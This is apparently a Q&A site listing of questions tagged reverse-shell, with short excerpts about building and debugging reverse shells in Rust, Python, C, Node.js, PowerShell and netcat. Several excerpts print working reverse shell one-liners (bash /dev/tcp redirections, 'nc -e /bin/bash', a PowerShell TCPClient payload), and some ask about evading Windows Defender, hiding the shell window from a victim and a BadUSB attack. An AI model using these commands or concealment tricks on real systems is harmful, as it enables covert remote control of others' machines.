Questions tagged [reverse-shell]

68 questions
0
votes
1 answer

Rust Reverse Shell Recent Command On Up Key Press

I have this rust reverse shell that listens on a ports and awaits a connection. Then I can run something like /bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1' to get a reverse shell. fn pipe_thread(mut r: R, mut w: W) ->…
user16139080
0
votes
1 answer

Reverse Shell Command with Python command gets stuck when trying to change directory

I am trying to get full access with full privileges with a reverse shell with python. The connections get established, and I can do a command like "ipconfig" or "dir" (although sometimes I need to ask twice before getting a result for "dir"…
Pro Girl
  • 762
  • 7
  • 21
0
votes
1 answer

How does this bash reverse shell accept input?

I have a listener running on localhost for port 449 using netcat. In a separate terminal also running on localhost I can run the following command: bash -c "bash -i >&/dev/tcp/127.0.0.1/449 0>&1" I am then able to enter commands through the netcat…
user3479586
  • 159
  • 1
  • 12
0
votes
1 answer

Understanding Curl Query

I used the below curl query while doing a practice pentest virtual machine, called Pwnlab init. The purpose of the query is to cause the index.php page to access the png file, which is actually a disguised php backdoor script, and then cause the…
pdawg
  • 1
0
votes
2 answers

How to hide tcp port listener powershell script?

GOALS: run a powershell script without showing the window (it's ok if it pops up for few seconds). PROBLEM: the script tcplisten.ps1 works just if the window is displayed to the user. All the attempts below don't work. Because when I run netstat…
Maicake
  • 1,046
  • 10
  • 34
0
votes
1 answer

Socket Programming Server With (Ip,port) as variable

HI I want to have my ip and port as user input in my server but i get some errors i cant handle please help me ... import socket serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = input("Enter The Server Ip: ") port =…
0
votes
1 answer

Nodejs reverse shell with net.socket

Good morning everyone i am having a issue with reverse shell in NodeJS when i create socket and listen with netcat its perfectly work but when i create new server with net.Server i receive header of shell but it's not interactive, the shell code is…
0
votes
2 answers

powershell reverse shell AV evasion

I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it? In a file I store the payload $client = New-Object System.Net.Sockets.TCPClient('192.168.1.54',9999);$stream =…
Maicake
  • 1,046
  • 10
  • 34
0
votes
1 answer

Hide a reverse shell terminal without screen

SCENARIO: the attacker insert into a victim's laptop an USB which acts as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal. PROBLEM: the tests I did locally (ubuntu 19.04, and digispark as usb) are the…
Maicake
  • 1,046
  • 10
  • 34
0
votes
1 answer

An invalid response was received from the tcp reverse shell server

I'm going to make small tcp reverse shell with c programming language. The Server give you a command line to send your command to the client. E.X: ./Server 192.168.1.100 2321 Waiting for new connection... New connection was accepted from…
HiDD3N
  • 29
  • 2
  • 7
0
votes
1 answer

C recv function blocking loop from repeating after receiving everything (sys/socket)

I am working on a reverse shell (for practice) and I'm trying to send the output of the popen function back to the server. For some reason, when I loop through the file and send it, the (server recv) loop doesn't break when it stops receiving…
Serket
  • 3,785
  • 3
  • 14
  • 45
0
votes
1 answer

Reverse/Bind shell from Android Device

I'm trying to get a reverse shell from Genymotion Android (8.0.0) device. IP of my local machine: 192.168.178.101 The below command, when executed from my host machine, gives me a shell. rewanth@ubuntu:~$ adb shell "sh -i >&…
Rewanth Tammana
  • 1,453
  • 17
  • 20
0
votes
1 answer

Using /bin/ in some pentest situations

During my Pentester learning, I have noticed a lot about using /bin/ in some situations and in certain commands, such as in a reverse shell: nc -nv 192.168.0.6 1234 -e /bin/bash and for example, when it comes to climbing privileges on a…
Vinni Marcon
  • 606
  • 1
  • 4
  • 18
0
votes
0 answers

Issues with reverse shell

good morning everyone i am having a issue with reverse shell from this website (https://github.com/AyyoubOuakkaha/Younioner). When i run server and client the code works but the problem is when i run setup.py im getting a this error…
0
votes
1 answer

Netcat Reverse Shell won't show live results

Okay, so I am working on a Reverse Shell for my computer so if anything were to happen, I could get back in and fix it. I used the command nc -nvlp 1234 on the PC, and on the other one, I run nc -e /bin/sh 1234 using this, I can connect to the…
Derek Haber
  • 137
  • 1
  • 3
  • 12